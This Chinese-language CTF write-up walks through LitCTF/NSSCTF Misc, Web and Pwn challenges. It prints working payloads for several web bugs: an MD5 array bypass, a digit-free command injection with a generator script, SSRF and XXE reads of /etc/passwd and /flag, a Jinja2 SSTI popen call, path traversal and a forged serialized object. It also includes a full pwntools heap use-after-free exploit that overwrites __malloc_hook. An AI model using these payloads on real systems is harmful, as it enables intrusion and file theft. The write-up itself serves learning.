Misc:

1、涐贪恋和伱、甾―⑺dé毎兮毎秒:

​ 题目描述:laosebi,无脑LSB隐写,全取最低位的LSB隐写,拿到flag。有大佬直接zsteg秒了,在这里提一下

在这里插入图片描述

2、你说得对,但__

​ 下载下来是一个图片,通过foremost分离图片,得到四张图片,每一张都是一个二维码的一部分,拼出来扫一下就行了,完事儿:

1
LitCTF{Genshin_St@rt!!}

3、原铁,启动!

​ 好离谱的题,不过题目的提示很明显了,我没发现,我的问题,原铁,再加上题目描述,推测应该是原神和崩铁的通用字体,直接上网站里对照这来,https://genshin.pro-ivan.com/genshinfonttranslator/demo/,最后发现前半部分是原神,后半部分是崩铁的字体:

1
LitCTF{good_gamer}

4、盯帧珍珠

​ 题目给了一张jpg图片,放到010里面发现文件头为gif格式的,修改后缀后使用工具分离得到一堆图片,在其中可以发现组成flag的部分(我的010出了问题,破解无效了,这里就不放照片了),然后是一个gif中间嵌套了几张分段的flag:

1
LitCTF{You_are_really_staring_at_frames!}

5、Everywhere We Go

​ 音频隐写,扔Audacity里面,频谱图里看到了flag。

1
flag{Calculate_Step_By_Step}

Web:

1.百万美元的诱惑:

​ 前面的题不会做,先看看这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
开胃小菜))

​ 看起来挺简单的,无脑数组绕过完事儿了:payload如下

?a[]=1&b[]=2&c[]=2025

​ 获得下一个文件是./dollar.php。访问下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>

​ 突然意识到了个问题,这道题有点不一样,flag所在的文件是12.php,然后根据rce函数,看来是构造12这个数字,这就好办了,直接上payload,payload参考文章:

[关于linux中构造无符号数字]: https://blog.csdn.net/qq_49434527/article/details/128050099 “关于linux中构造无符号数字”

x=$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))

​ 解决了:

1
2
3
4

<?php
$flag="LitCTF{dollar_d0llar_d0ll@r!!!}";
?>

​ 生成payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os.path


def mult_times(str, m, n):
front_len = m
if front_len > len(str):
front_len = len(str)
front = str[:front_len]

result = ''
for i in range(n):
result = result + front
return result


# 构造参数
print("提示:$((${_}))=0,$((~$((${_}))))=-1")
print("请输入你要构造的数字")
n = int(input("构造的数字:"))
yuanshi = mult_times('$((~$(())))', 11, n + 1)
fushu = mult_times('$((~$(())))', 11, n)
print("原始数据:", yuanshi)
q = '~$(('
p = '))'
print('第一次取反结果为:')
print(q + yuanshi + p)
FSQF = (q + fushu + p)
b = '$((~$(('
c = '))))'
ZX = 'echo'
end = (ZX + " " + b + yuanshi + c)
FSQF2 = ZX + " " + q + fushu + p
print('最后构造正数结果为:')
print(end)
print('最后构造负数结果为:')
print(FSQF2)
# 结果写入
current_path = os.getcwd()
file_path = os.path.join(current_path, 'RCE.sh')
file_test = open(file_path, 'w+', encoding='utf-8')
file_test.write(end)
file_test.close()
current_path = os.getcwd()
file_path = os.path.join(current_path, 'RCE2.sh')
file_test = open(file_path, 'w+', encoding='utf-8')
file_test.write(FSQF2)
file_test.close()
# 进行判断
print("判断有效!输出正数数字为:")
os.system("chmod +x RCE.sh;bash RCE.sh")
print("判断有效!输出负数数字为:")
os.system("chmod +x RCE.sh;bash RCE2.sh")

2、浏览器也能套娃?

​ 提示我们输入一个URL,猜测一下是SSRF漏洞,无脑传一个 http://www.baidu.com,发现成功了,传下file:///etc/passwd 发现能行。

1
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin utmp:x:100:406:utmp:/home/utmp:/bin/false nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin 

​ 直接读取根目录的flag文件,看看有没有,很明显有,payload file:///flag

1
NSSCTF{9088fd46-7dbc-4235-9b88-4f81a53d0c89}

3、一个….池子?

​ 刚开始以为是SQL注入,结果抓包不小心看到了这个:

1
2
3
4
5
6
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.0.3 Python/3.10.14
Date: Wed, 05 Jun 2024 08:52:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close

​ 很显然是个flask框架,另外,我们输入什么,它跟着输出来了,推测可能是ssti漏洞,直接一把梭,或者一步步来,最终构造的payload如下:

1
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat+/flag").read()}}

​ 最后拿到flag:

1
NSSCTF{f9c874a6-9276-470c-b37b-b999b23fee0e}

4、高亮主题(划掉)背景查看器

​ 再用hackbar的时候,点了下POST方法,没想到看到了有意思的东西,就是theme参数,使用了一个文件,每猜错应该是文件包含漏洞,无脑梭哈一个POST : theme=../../../../flag

​ 最后得到flag。

5、exx

​ 看题目应该是xxe漏洞,搞文件包含的,直接本地文件包含,基础xxe,无任何过滤,且本地包含:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "php://filter/resource=/flag">
]>
<user><username>
&xxe;
</username><password>123456</password></user>

​ 最后拿到flag:

1
NSSCTF{0bc65b57-3d0c-43e4-ae32-fcd9276f430b}

6、SAS - Serializing Authentication

​ 给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class User {

public $username;

public $password;

function __construct($username, $password) {

$this->username = $username;

$this->password = $password;

}

function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

​ 大概推测是让isValid这个方法为真,那么,这个就简单了,提示挺明显的,有个base64解码,那么构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class User {

public $username;

public $password;

function __construct($username, $password) {

$this->username = $username;

$this->password = $password;

}

function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$a = new User('admin','secure_password');

echo base64_encode(serialize($a));

?>

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=

​ flag:

1
flag{deserialization_vulnerability}

Pwn:

1、heap-2.23

​ 先查看架构和保护:

1
2
3
4
5
6
7
root@MSI:/mnt/c/Users/20820/Downloads/pwn# checksec pwn
[*] '/mnt/c/Users/20820/Downloads/pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

​ 开启了栈不可执行和栈溢出保护,那么,扔IDA里看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_400866(a1, a2, a3);
v3 = 0;
while ( 1 )
{
sub_4008B3();
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
sub_4008FB();
break;
case 2:
sub_400A0B();
break;
case 3:
sub_400AAB();
break;
case 4:
sub_400B55();
break;
case 5:
sub_400C15();
default:
puts("error!");
break;
}
}
}

​ main函数感觉很眼熟,不管了,找到了个似乎可以利用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void sub_400A0B()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && *(&ptr + (int)v0) )
free(*(&ptr + (int)v0));
else
puts("no such chunk!");
}

​ 由于在free掉一个chunk之后没有对其指针进行置零,所以这里可能产生了UAF,果然,我太菜了,最简单的UAF都看不懂,跟着大佬看看算了,根据大佬们的wp,似乎是通过泄露__malloc_hook的地址,然后根据动态链接库文件算偏移,拿到/bin/sh等的地址,具体原理之后再看,先了解下这是个啥东西,咋操作的,直接贴一个大佬的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

filename = './heap'

debug = 0
if debug :
io = remote('node2.anna.nssctf.cn', 28352)
else:
io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
gdb.attach(io)

def add(index, size):
io.sendlineafter('>>', '1')
io.sendlineafter('idx? ', str(index))
io.sendlineafter('size? ', str(size))

def delete(index):
io.sendlineafter('>>', '2')
io.sendlineafter('idx? ', str(index))

def show(index):
io.sendlineafter('>>', '3')
io.sendlineafter('idx? ', str(index))

def edit(index, content):
io.sendlineafter('>>', '4')
io.sendlineafter('idx? ', str(index))
io.sendlineafter('content : ', content)

libc = ELF('./libc.so.6')

add(0, 0x80)
add(1, 0x60)
delete(0)
show(0)
io.recvuntil('content : ')
__malloc_hook = u64(io.recv(6).ljust(8, b'\0')) - 0x68
success('__malloc_hook =>> ' + hex(__malloc_hook))
libcbase = __malloc_hook - libc.sym['__malloc_hook']
onegadget = libcbase + 0xf1247

delete(1)
edit(1, p64(__malloc_hook - 0x23))

add(2, 0x60)
add(3, 0x60)
edit(3, b'A' * 0x13 + p64(onegadget))

add(4, 0x60)

io.interactive()